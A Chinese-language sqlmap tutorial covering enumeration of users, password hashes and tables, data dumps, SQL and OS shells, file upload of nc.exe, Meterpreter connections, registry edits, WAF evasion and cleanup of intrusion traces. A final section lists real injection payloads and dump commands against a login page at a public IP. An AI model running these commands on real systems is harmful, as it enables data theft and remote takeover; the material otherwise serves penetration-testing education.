Sqlmap不仅会列举出密码Hash,还会解析密码Hash格式,并询问用户是否要通过密码字典的方式破解Hash值寻找出明文密码。
若想只枚举特定用户的密码使用参数“-U”指定用户,可用“CU”来代表当前用户,如:
python sqlmap.py -u "http://192.168.56.102/user.php?id=1" --password -U CU
部分输出如下:
1 | database management system users password hashes: |
9.列举数据库管理系统的用户权限
参数:–privileges
当前用户有读取包含了数据库管理系统中用户信息的系统表的权限时使用这一参数可以列举数据库管理系统中用户的权限。通过用户权限可以判断哪些用户是管理员。
若想只枚举特定用户的权限使用参数“-U”指定用户,可用“CU”来代表当前用户。
若目标是微软的SQL Server,这一参数会列出每个用户是否是管理员而不列出每个用户的具体权限。
10.列举数据库管理系统的用户角色
参数:–roles
当前用户有读取包含了数据库管理系统中用户信息的系统表的权限时使用这一参数可以列举数据库管理系统中用户的角色。
若想只枚举特定用户的角色使用参数“-U”指定用户,可用“CU”来代表当前用户。
官方手册上说只有目标数据库管理系统是Oracle时这一功能才可用,但我在Mysql中测试也是可用的。
11.列举数据库管理系统中的所有数据库
参数:–dbs
当前用户有读取包含了数据库管理系统中可用数据库信息的系统表的权限时使用这一参数可以列举数据库管理系统中所有数据库。
12.列举数据库数据库的所有表
参数:–tables、–exclude–sysdbs和-D
当前用户有读取包含了数据库管理系统中可用数据库中数据表信息的系统表的权限时使用参数“–tables”可以列举用参数“-D”指定的数据库中的所有数据表。
若没有用参数“-D”指定数据库,只使用参数“–tables”会列举所有数据库中所有表。如:
python sqlmap.py -u "http://192.168.56.102/user.php?id=1" -D DBName --tables
使用参数“–exclude-sysdbs”可排除系统数据库。在Oracle中要指定TABLESPACE_NAME而不是数据库名。
13.列举数据表的所有列
参数:–columns、-C、-T和-D
如权限允许,使用参数“–columns”可以列出用“-D”指定的数据库中用“-T”指定的表中的所有列的名字和数据类型。
若没有指定数据库则会默认使用当前数据库。还可以用“-C”指定感兴趣的某几列这样就不用列出所有列来。
下面是以SQLite为目标的例子:
python sqlmap.py -u "http://192.168.136.131/sqlmap/sqlite/get_int.php?id=1" --columns -D testdb -T users
部分输出如下:
1 | Database: SQLite_masterdb |
在PostgreSQL中,数据库的名字一定是“public”或者是某个系统表
。因为在PostgreSQL中只能列举当前数据库或系统数据库中数据,而WEB应用连接的数据库别名总是“public”。
十三、列举数据库管理系统的模式
参数:–schema和–exclude-sysdbs
用户可用此选项列举数据库管理系统的模式。模式列表包含所有数据库、表、列、触发器和他们各自的类型。
同样地,可使用参数“–exclude-sysdbs”排除系统数据库。
下面是的例子测试对象是Mysql:
部分输出如下:
1 | [...] |
1.列举表中数据条数
参数:–count
有时我们只想知道有多少数据而不想知道具体的数据内容,此时就可以使用该参数。如:
python sqlmap.py -u "http://192.168.21.129/sqlmap/mssql/iis/get_int.asp?id=1" --count -D testdb
部分输出如下:
1 | Database: testdb |
2.列举表中数据
参数:–dump、-C、-T、-D、–start、–stop和–where
权限允许时可以列举表中数据。用参数“-D”指定数据库,用参数“-T”指定数据表,用参数“-C”指定目标列。
若只指定了数据表而没有指定数据库则默认使用当前数据库。若没有指定列则列举表中全部列。
下例是以Firebird为目标:
python sqlmap.py -u "http://192.168.136.131/sqlmap/firebird/get_int.php?id=1" --dump -T users
部分输出如下:
1 | Database: Firebird_masterdb |
只使用参数“–dump”和“-D”可以一次性列举整个数据库中所有数据。
Sqlmap会自动将参数“–dump”列举的数据保存到CSV格式文件中,文件具体路径会在Sqlmap的输出中给出,如:
python sqlmap.py -u "http://192.168.136.131/sqlmap/sqlite/get_int.php?id=1" -D DSSchool --dump
部分输出为:
1 | [11:15:27] [INFO] analyzing table dump for possible password hashes |
截取的输出中最后一行便是CSV文件保存的路径。
若只想列举部分数据可以使用参数“–start”和“–stop”。如只想列举第一条数据可以添加“–stop 1”,
只想列举第二和第三条数据可以添加“–start 1 –stop 3”,可见这是一个左开右闭区间。
区间范围仅在盲注中有效,因为在基于错误信息的注入和联合查询注入中区间范围会被忽略。
除了用区间范围限制列举的数据外,还可以用“–where”参数来限制列举的数据。
“–where”参数会被Sqlmap转换成WHERE子句,如“–where id>3”会只列举列id的值大于3的数据。
如你所见,Sqlmap十分灵活。可以囫囵地列举整个数据库,也可以细致地在表中选择列,在列中又选择特定数据。
3.列举所有数据库所有表中所有数据
参数:–dump-all和–exclude-sysdbs
使用参数“–dump-all”可列举所有数据库所有表中所有数据。同样地,可使用参数“–exclude-sysdbs”排除系统数据库。
注意微软SQL Server的master数据库不属于系统数据库,因为有些管理员会在这个数据库中存储用户数据。
4.在数据库、表、列中搜索
参数:–search、-C、-T和-D
可以搜索数据库名,在所有数据库中搜索表名,在所有数据库的所有表中搜索列名。
参数“–search”要和下列参数之一配合使用:
-C:后跟以逗号分隔的列名,在整个数据库管理系统中搜索
-T:后跟以逗号分隔的表名,在整个数据库管理系统中搜索
-D:后跟以逗号分隔的库名,在整个数据库管理系统中搜索
在搜索时,Sqlmap会询问用户进行精确搜索还是包含搜索。
默认为包含搜索,即搜索的字符串包含于结果中就认为命中。
精确搜索要求搜索的字符串与结果完全相等。
5.运行自定义的SQL语句
参数:–sql-query和–sql-shell
这一功能允许执行任意的SQL语句,Sqlmap会自动解析给出的SQL语句,选择恰当的注入技术并将给出的SQL语句打包到payload中。
如果查询是个SELECT语句,Sqlmap会返回查询结果。如果Web应用使用的数据库管理系统支持多语句查询,Sqlmap会使用堆注入技术。
但要注意Web应用可能不支持堆查询,例如PHP使用Mysql时不支持堆查询,但使用PostgreSQL时支持堆查询。
下例的目标是SQL Server 2000:
python sqlmap.py -u "http://192.168.136.131/sqlmap/mssql/get_int.php?id=1" --sql-query "SELECT 'foo'" -v 1
部分输出如下:
1 | [hh:mm:14] [INFO] fetching SQL SELECT query output: 'SELECT 'foo'' |
python sqlmap.py -u "http://192.168.136.131/sqlmap/mssql/get_int.php?id=1" --sql-query "SELECT 'foo', 'bar'" -v 2
部分输出如下:
1 | [hh:mm:50] [INFO] fetching SQL SELECT query output: 'SELECT 'foo', 'bar'' |
如你所见,Sqlmap将提供的SQL语句分成了两个不同的SELECT语句,并分别返回结果。
参数“–sql-shell”提供一个交互式的SQL语句执行环境,支持Tab键补全和命令历史记录。如:
python sqlmap.py -u "http://192.168.56.102/user.php?id=1" --sql-shell
部分输出如下:
1 | [15:06:47] [INFO] calling MySQL shell. To quit type 'x' or 'q' and press ENTER |
十四、UDF注入
参数:–udf-inject
UDF是“user-defined function”的缩写,UDF是一种针对MySQL和PostgreSQL的高级注入技术,详情见《Advanced SQL injection to operating system full control》。
可以编译MySQL或PostgreSQL的共享库、DLL(Windows)和共享对象(Linux/Unix)并将这些文件在本机上的路径提供给Sqlmap来进行UDF注入。
Sqlmap会先问一些问题然后上传UDF文件并创建UDF最后根据问题答案执行UDF。完成UDF注入后,Sqlmap会删除上传的UDF文件。
参数:–shared-lib
添加此参数Sqlmap会在运行时询问共享库文件路径。
在Sqlmap安装目录的udf目录中有许多UDF文件,按照DMBS、操作系统、位数和版本归类,可以直接使用。
十五、访问文件系统
1.读取文件
参数:–file-read
当数据库管理系统是MySQL、PostgreSQL或微软的SQL Server且当前用户有读取文件相关权限时读取文件是可行的。
读取的文件既可以是文件文件也可以是二进制文件,Sqlmap会处理好的。下例的目标数据库管理系统是SQL Server 2005:
python sqlmap.py -u "http://192.168.136.129/sqlmap/mssql/iis/get_str2.asp?name=luther" --file-read "C:/example.exe" -v 1
部分输出如下:
1 | [hh:mm:49] [INFO] the back-end DBMS is Microsoft SQL Server |
然后查看下载的文件:
1 | $ ls -l output/192.168.136.129/files/C__example.exe |
2.上传文件
参数:–file-write和–file-dest
当数据库管理系统是MySQL、PostgreSQL或微软的SQL Server且当前用户有写文件相关权限时上传文件是可行的。
上传的文件既可以是文件文件也可以是二进制文件,Sqlmap会处理好的。下例的目标数据库管理系统是MySQL,上传了一个二进制的UPX压缩文件:
1 | $ file /software/nc.exe.packed |
十六、操作系统控制
1.执行任意操作系统命令
参数:–os-cmd和–os-shell
若数据库管理系统是MySQL、PostgreSQL或微软的SQL Server且当前用户有相关权限Sqlmap就能利用SQL注入执行任意的操作系统命令。
当数据库管理系统是MySQL或PostgreSQL时,Sqlmap会通过前面介绍过的文件上传功能上传一个包含用户自定义函数sys_exec()和sys_eval()的二进制共享库文件,然后创建这两个用户自定义函数,通过这两个函数之一来执行用户指定的命令。选择哪个函数取决于用户是否想要显示命令执行的标准输出。
当数据库管理系统是微软的SQL Server时,Sqlmap通过存储过程xp_cmdshell来执行任意命令。
若xp_cmdshell被禁用(SQL Server >= 2005时默认禁用)Sqlmap会启用它;
若xp_cmdshell不存在,Sqlmap会创建它。
当用户想要看到命令执行的标准输出时,Sqlmap使用可列举的注入技术(盲注、带内和基于错误的注入),而当用户不想看到命令执行的标准输出时,堆查询注入技术将被用于执行命令。
下例的目标是PostgreSQL:
python sqlmap.py -u "http://192.168.136.131/sqlmap/pgsql/get_int.php?id=1" --os-cmd id -v 1
部分输出如下所示:
1 | web application technology: PHP 5.2.6, Apache 2.2.9 |
使用参数“–os-shell”可以模拟一个可以执行任意命令的shell,和“–sql-shell”一样这个shell也可以用Tab键补全,支持历史记录。
当堆查询不被支持(如PHP或ASP+Mysql)且数据库管理系统是MySQL时,仍然可以通过SELECT的从句INTO OUTFILE在Web所在主机的可写目录创建一个Web后门,通过这个Web后门来执行命令。Sqlmap支持这一技术并要求用户提供一些用逗号分割的可能是可写目录的路径。Sqlmap支持以下这些服务器端脚本语言:
- ASP
- ASP.NET
- JSP
- PHP
2.带外TCP连接:Meterpreter及相关
参数:–os-pwn、–os-smbrelay、–os-bof、–priv-esc、–msf-path和–tmp-path
若数据库管理系统是MySQL、PostgreSQL或微软的SQL Server且当前用户有相关权限Sqlmap就有可能在攻击者的主机和数据库所在主机之间建立带外TCP连接。根据用户的选择,此连接可以是交互式命令shell,Meterpreter会话或图形用户界面(VNC)会话。
Sqlmap要靠Metasploit生成shellcode,在数据库所在主机执行shellcode有以下四种技术:
数据库通过Sqlmap创建的用户自定义函数sys_bineval()在内存中执行Metasploit的shellcode。支持MySQL和PostgreSQL。参数“–os-pwn”。
通过Sqlmap自己的用户自定义函数(MySQL和PostgreSQL中的sys_exec(),微软SQL Server中的xp_cmdshell())上传并执行Metasploit的“stand-alone payload stager”。参数:“–os-pwn”。
利用远程代码执行漏洞MS08-068。攻击者的机器要用Metasploit的smb_relay监听来自目标机器的连接。要求在Linux/Unix上以root权限运行Sqlmap且目标DBMS在Windows上以管理员权限运行。参数:“–os-smbrelay”。
在微软SQL Server 2000和2005中可通过存储过程sp_replwritetovarbin的堆缓冲区溢出漏洞(MS09-004)在内存中执行Metasploit的shellcode。Sqlmap有自己的数据执行保护绕过技术可以成功利用漏洞,但需要Metasploit生成shellcode以便在成功利用漏洞时执行shellcode。参数:“–os-bof”。
下面是以MySQL为目标的例子:
1 | python sqlmap.py -u "http://192.168.136.129/sqlmap/mysql/iis/get_int_55.aspx?id=1" --os-pwn --msf-path /software/metasploit |
在Windows中Mysql默认以SYSTEM身份运行,但PostgreSQL无论是在Windows还是在Linux中都以低权限的用户postgres运行。SQL Server 2000默认以SYSTEM身份运行,但SQL Server 2005到2008大多数时间以NETWORK SERVICE身份运行,少数时候以LOCAL SERVICE身份运行。
使用参数“–priv-esc”可以执行Metasploit的getsystem命令以尝试提升权限。
十七、Windows注册表操作
满足以下条件就可以对Windows注册表进行操作:
目标数据库管理系统是运行在Windows上的
目标数据库管理系统是MySQL、PostgreSQL或微软SQL Server
支持堆查询
目标数据库管理系统当前用户有足够的权限
1.读Windows注册表键值
参数:–reg-read
2.写Windows注册表键值
参数:–reg-add
3.删除Windows注册表键值
参数:–reg-del
4.辅助
参数:–reg-key、–r-eg-value、–reg-data和–reg-type
适当使用上列参数就可以在命令中添加或修改一个Windows注册表键值而不用在Sqlmap运行时以问答方式提供数据。
- –reg-key:指定Windows注册表键值的路径
- –reg-value:指定Windows注册表键值的键
- –reg-data:指定Windows注册表键值的值
- –reg-type:指定Windows注册表键值的值的数据类型
下面是一个例子:
python sqlmap.py -u http://192.168.136.129/sqlmap/pgsql/get_int.aspx?id=1 --reg-add --reg-key="HKEY_LOCAL_MACHINE\SOFTWARE\sqlmap" --reg-value=Test --reg-type=REG_SZ --reg-data=1
十八、通用选项
1.从SQLite文件中载入Sqlmap会话
参数:-s
Sqlmap会自动地为每一个目标创建长久保存的会话SQLite文件,该文件统一存储在特定目录(如:~/.sqlmap/output/)中,其中保存着恢复会话所需的所有数据。若用户想要明确地指定SQLite文件(例如想要将多个目标的数据存储到同一个SQLite文件中),可使用此参数。
2.将HTTP(S)流量记录到日志文件中
参数:-t
该参数后跟一个文件路径,用于将HTTP(S)请求和响应以文本格式记录到文件中作为日志。这样的日志在调试时是很有用的。
3.非交互模式
参数:–batch
使用该参数可以让Sqlmap以非交互模式运行,所有要求的输入都会取默认值。
4.设置字符编码
参数:–charset
为正确解码数据,Sqlmap会使用Web服务器提供的信息(如HTTP头部中字符编码的设置),或是使用第三方库chardet来启发式地确定字符编码。
可以使用参数“–charset”来指定字符编码,如“–charset=GBK”。
5.从目标URL开始爬取目标站点
参数:–crawl
Sqlmap可以从目标URL开始爬取目标站点并收集可能存在漏洞的URL。使用该参数还需要设置爬取深度,深度是相对于开始爬取的目标URL而言的。只有所有新链接都被递归地访问过后才算爬取结束。建议该参数与“–delay”配合使用。
下例的目标的MySQL:
python sqlmap.py -u "http://192.168.21.128/sqlmap/mysql/" --batch --crawl=3
部分输出如下:
1 | [xx:xx:53] [INFO] starting crawler |
参数:–crawl-exclude
在此参数后跟一个正则表达式可以排除不想爬取的URL。若URL匹配正则,则不被爬取。如用“–crawl-exclude=logout”来排除所有含有字符串“logout”的URL。
6.设置输出CSV文件中的分隔符
参数:–csv-del
当数据被输出到CSV文件(–dump-format=CSV)时,默认以“,”分隔,可以使用此参数指定分隔符。如:“–csv-del=”;””。
7.数据库管理系统认证凭据
参数:–dbms-cred
在某些情况下由于数据库管理系统当前用户权限较低从而导致动作执行失败,此时可以用此参数提供admin用户认证凭据,Sqlmap就会对执行失败的部分特地使用“run as”机制(如:微软SQL Server的OPENROWSET)以admin用户身份重新执行失败的动作。当然,得知道admin用户认证凭据才行。
8.数据输出格式
参数:–dump-format
Sqlmap对列举的数据有三种不同的输出格式:CSV、HTML和SQLITE。默认为CSV格式,每个数据表都被保存到一个文本文件中,一行是一条记录,以逗号分隔(或是用“–csv-del”指定分隔符)。选择HTML格式,所有数据被保存在一个HTML文件中,数据存放在一个个table中。选择SQLITE格式,所有数据被保存在一个SQLITE文件中,SQLITE中表名和结构会和原表相同。
9.估计完成时间
参数:–eta
该参数用于显示估计的完成时间。下例是目标为Oracle的布尔型盲注:
python sqlmap.py -u "http://192.168.136.131/sqlmap/oracle/get_int_bool.php?id=1" -b --eta
部分输出如下:
1 | [hh:mm:01] [INFO] the back-end DBMS is Oracle |
如你所见,Sqlmap先计算查询输出的长度,然后估计完成时间,最后显示百分比进度条并统计已经接受的数据。
10.刷新会话文件
参数:–flush-session
使用该参数可以刷新会话文件,以避免Sqlmap默认的缓存机制可能造成的一些问题。使用该参数的前提是真正理解会话文件的概念。另外一个可行的方法是手工删除会话文件。
11.解析和测试表单输入字段
参数:–forms
除了用“-r”和“–data”来测试表单数据是否存在注入点外,还可以使用参数“–forms”来测试表单数据是否存在注入点。
同时使用参数“–forms”和“-u”,Sqlmap会解析目标URL(“-u”指定的那个URL)返回页面中的表单,测试表单是否有注入点,而不对目标URL进行注入测试。
12.忽略会话文件中的查询结果
参数:–fresh-queries
使用此参数用于忽略会话文件中的查询结果重新执行查询。
13.对返回结果使用HEX函数
参数:–hex
非ASCII数据很容易在传输时出错,使用hex函数可以将目标数据库中数据以十六进制返回。
下例的目标是PostgreSQL:
python sqlmap.py -u "http://192.168.48.130/sqlmap/pgsql/get_int.php?id=1" --banner --hex -v 3 --parse-errors
部分输出如下所示:
1 | [xx:xx:14] [INFO] fetching banner |
14.指定输出目录路径
参数:–output-dir
Sqlmap默认将会话文件和结果文件保存到某个子目录output中,可以使用此参数指定输出目录,如:“–output-dir=/tmp”。
15.从响应中解析DBMS的错误信息
参数:–parse-errors
若是Web应用被配置成Debug模式则很可能在HTTP响应页面中显示SQL错误信息。这些错误信息对于理解某操作失败的原因是很有用的。例如因为权限不足导致的失败错误信息是类似这样的:“Access denied for user ”。
下例的目标是微软SQL Server:
python sqlmap.py -u "http://192.168.21.129/sqlmap/mssql/iis/get_int.asp?id=1" --parse-errors
部分输出如下所示:
1 | [xx:xx:17] [INFO] ORDER BY technique seems to be usable. This should reduce the timeneeded to find the right number of query columns. Automatically extending the rangefor current UNION query injection technique test |
16.指定中轴列
参数:–pivot-column
有时(如在微软SQL Server、Sybase和SAP MaxDB中)由于缺乏类似机制不可以直接使用偏移m,n的方式列举数据表记录。在这种情况下,Sqlmap通过确定最适合的中轴列(最独特的值)来列举数据,中轴列的值稍后用于检索其他列值。
如果自动选择失败就需要使用该参数手动指定中轴列,如:“–pivot-column=id”。
17.保存选项到配置文件中
参数:–save
使用该参数可以保存Sqlmap命令行参数到配置文件中,该文件可编辑并且可以使用参数“-c”加载。配置文件是INI格式的。
18.升级Sqlmap
参数:–update
使用此参数可以升级Sqlmap,显然,需要能够连接互联网。万一执行失败,可以在Sqlmap安装目录中执行“git pull”来升级Sqlmap。在Windows中没有git命令可以使用SmartGit之类的git客户端。
实际上“–update”和“git pull”以同样的方式升级Sqlmap,都是从git仓库中获取最新源代码。
强烈建议在报告bug前先升级Sqlmap。
十九、杂项
1.使用简写
参数:-z
有些参数组合是被经常用到的,如“–batch –random-agent –ignore-proxy
–technique=BEU”,这样写一大串很不好看,在Sqlmap中,提供了一种简写的方式来缩短命令长度。
利用参数“-z”,每个参数都可以只写前几个字母,如“–batch”可以简写为“bat”。简写的原则是能够有所区别、对应的参数唯一就行。各个参数用逗号隔开。如:
python sqlmap.py --batch --random-agent --ignore-proxy --technique=BEU -u "www.target.com/vuln.php?id=1"
可以简写为:
python sqlmap.py -z "bat,randoma,ign,tec=BEU" -u "www.target.com/vuln.php?id=1"
再如:
python sqlmap.py --ignore-proxy --flush-session --technique=U --dump -D testdb -T users -u "www.target.com/vuln.php?id=1"
可以简写为:
python sqlmap.py -z "ign,flu,bat,tec=U,dump,D=testdb,T=users" -u "www.target.com/vuln.php?id=1"
2.在成功检测到注入点时报警
参数:–alert
该参数用于在找到新的注入点时发出警报,后跟一个用于发出警报的命令,如:
python sqlmap.py -r data.txt --alert "notify-send '找到漏洞了'"
部分输出如下:
1 | [18:59:36] [INFO] GET parameter 'couno' appears to be 'OR boolean-based blind - WHERE or HAVING clause (MySQL comment) (NOT)' injectable (with --not-string="001") |
上例中用于发出警报的命令是Ubuntu中的notify-send命令。
3.设置问题的回答
参数:–answers
使用“–batch”以非交互模式运行时所有问题都以按默认值作为回答。有时不想以默认值为答案又想使用非交互模式,此时可以使用参数“–answers”对特定问题进行回答,若回答多个问题,以逗号分隔。如:
python sqlmap.py -u "http://192.168.22.128/sqlmap/mysql/get_int.php?id=1"--technique=E --answers="extending=N" --batch
部分输出如下:
1 | [xx:xx:56] [INFO] testing for SQL injection on GET parameter 'id' heuristic (parsing) test showed that the back-end DBMS could be 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n] Y |
4.在成功检测到注入点时发出“嘟”声
参数:–beep
使用此参数可以在成功检测到注入点时发出“嘟”声。使用“-m”从日志文件中检测大量网站时该参数会格外有用。
5.清除Sqlmap创建的临时表和自定义函数
参数:–cleanup
强烈推荐在测试结束后使用此参数清除Sqlmap创建的临时表和自定义函数,Sqlmap会尽可能地清除数据库管理系统和文件系统上的入侵痕迹。
6.检查依赖
参数:–dependencies
Sqlmap的有些功能依赖第三方库,在用到时发现没有这些库会报错退出。使用此参数可以检查依赖的第三方库是否安装,如:
python sqlmap.py --dependencies
部分输出如下:
1 | [*] starting at 19:16:05 |
可以看到我缺少的主要是用于连接数据库的第三方库。
7.关闭彩色输出
参数:–disable-coloring
8.指定使用Google dork结果的某页
参数:–gpage
使用参数“-g”时默认默认选择Google dork结果的前100条做注入测试。结合使用此参数,可以指定使用Google dork结果的某页。
9.使用HTTP参数污染
参数:–hpp
HTTP参数污染是绕过WAF/IPS/IDS的一种技术,详情见此处。这一技术针对ASP/IIS和ASP.NET/IIS平台尤其有效。如果怀疑目标受WAF/IPS/IDS保护,可以尝试用此参数进行绕过。
10.彻底检测WAF/IPS/IDS
参数:–identify-waf
Sqlmap可以识别WAF/IPS/IDS以便用户进行针对性操作(如:添加“–tamper”)。目前Sqlmap支持检测30多种不同的WAF/IPS/IDS,如Airlock和Barracuda WAF等。检测WAF的脚本可以在安装目录的waf目录中找到。
下例的目标是MySQL,受ModSecurity WAF保护:
python sqlmap.py -u "http://192.168.21.128/sqlmap/mysql/get_int.php?id=1" --identify-waf -v 3
部分输出如下:
1 | [xx:xx:23] [INFO] testing connection to the target URL |
参数:–skip-waf
默认地Sqlmap会发送虚假的SQL注入playload以试探目标是否有保护措施。如有任何问题,用户可以使用参数“–skip-waf”来禁用这一技术。
11.模仿智能手机
参数:–mobile
有些网站对智能手机和桌面环境的返回是不同的。当需要测试这种网站的智能手机页面时可以设置一个智能手机的User-Agent,或者更简单地,使用此参数,Sqlmap会在执行时询问要模仿成流行的手机中的哪种,如:
1 | $ python sqlmap.py -u "http://www.target.com/vuln.php?id=1" --mobile |
12.离线模式(仅仅使用会话数据)
参数:–offline
添加此参数,Sqlmap将仅仅使用以前存储的会话数据做测试而不向目标发送任何数据包。
13.在Google dork中展示页面权重
参数:–gpage
与参数“-g”一起使用,这会使Sqlmap向Google发起更多的请求并展示页面权重。
14.从输出目录中安全移除所有内容
参数:–purge
当用户想要安全地删除输出目录中的所有内容时使用此参数。所谓安全删除,不仅仅是删除,而是在删除前先用随机数据覆盖原有数据,甚至对文件名和目录名也进行重命名以覆盖旧名称,所有覆盖工作完成后才执行删除。最后,输出目录中会一无所有。如:
python sqlmap.py --purge -v 3
部分输出如下:
1 | [*] starting at 19:51:36 |
15.快速扫描
参数:–smart
当有大量URL要进行测试(如:“-m”),目的是尽快找出其中存在的某些注入点而有所遗漏也没有关系时可以使用“–smart”进行正向启发式扫描。此时只有让数据库管理系统报错的参数才会做进一步测试,其余URL均被跳过。如:
1 | $ python sqlmap.py -u "http://192.168.21.128/sqlmap/mysql/get_int.php?ca=17&user=foo&id=1" --batch --smart |
16.通过关键词使用或跳过payload
参数:–test-filter
若只想使用包含关键词“ROW”的payload可使用参数“–test-filter=ROW”。下面是以Mysql为目标的例子:
python sqlmap.py -u "http://192.168.21.128/sqlmap/mysql/get_int.php?id=1" --batch --test-filter=ROW
部分输出如下:
1 | [xx:xx:39] [INFO] GET parameter ’id’ is dynamic |
参数:–test-skip
若不想使用包含关键词“BENCHMARK”的payload可使用参数“–test-skip=BENCHMARK”。
17.交互式Sqlmap Shell
参数:–sqlmap-shell
使用此参数可以打开一个交互式的Sqlmap Shell,支持历史记录。如:
1 | werner@Yasser:~$ sqlmap --sqlmap-shell |
18.为初学者准备的简单向导
参数:–wizard
Sqlmap特地为初学者准备了一个有着尽可能少问题的工作流的向导。用户输入目标后若一直按回车选择默认回答到工作流的最后也会得到一个正确的结果。如:
1 | werner@Yasser:~$ sqlmap --wizard |
例子
sqlmap -u http://34.94.3.143/597f0df394/login --data='username=&password=' --batch --banner
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: username (POST)
Type: boolean-based blind
Title: OR boolean-based blind - WHERE or HAVING clause (NOT - MySQL comment)
Payload: username=' OR NOT 2556=2556#&password=
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
Payload: username=' AND (SELECT 6513 FROM(SELECT COUNT(*),CONCAT(0x716b627171,(SELECT (ELT(6513=6513,1))),0x71717a7871,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- siMz&password=
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 OR time-based blind
Payload: username=' OR SLEEP(5)-- efxv&password=
---
[23:22:37] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: Nginx 1.14.0
back-end DBMS: MySQL >= 5.0
[23:22:37] [INFO] fetched data logged to text files under '/Users/dog/.sqlmap/output/34.94.3.143'
sqlmap -u http://34.94.3.143/597f0df394/login --data='username=&password=' --dbs --users
sqlmap -u http://34.94.3.143/597f0df394/login --data='username=&password=' --batch --dump --random-agent --time-sec=10 --thread=10
sqlmap --purge //清理以前的缓存
参考文献
原文
sqlmap官网
SqlMap用户手册
sqlmap批量扫描burpsuite请求日志记录
How to get past the login page with Wget?
笔记: Data Retrieval over DNS in SQL Injection Attacks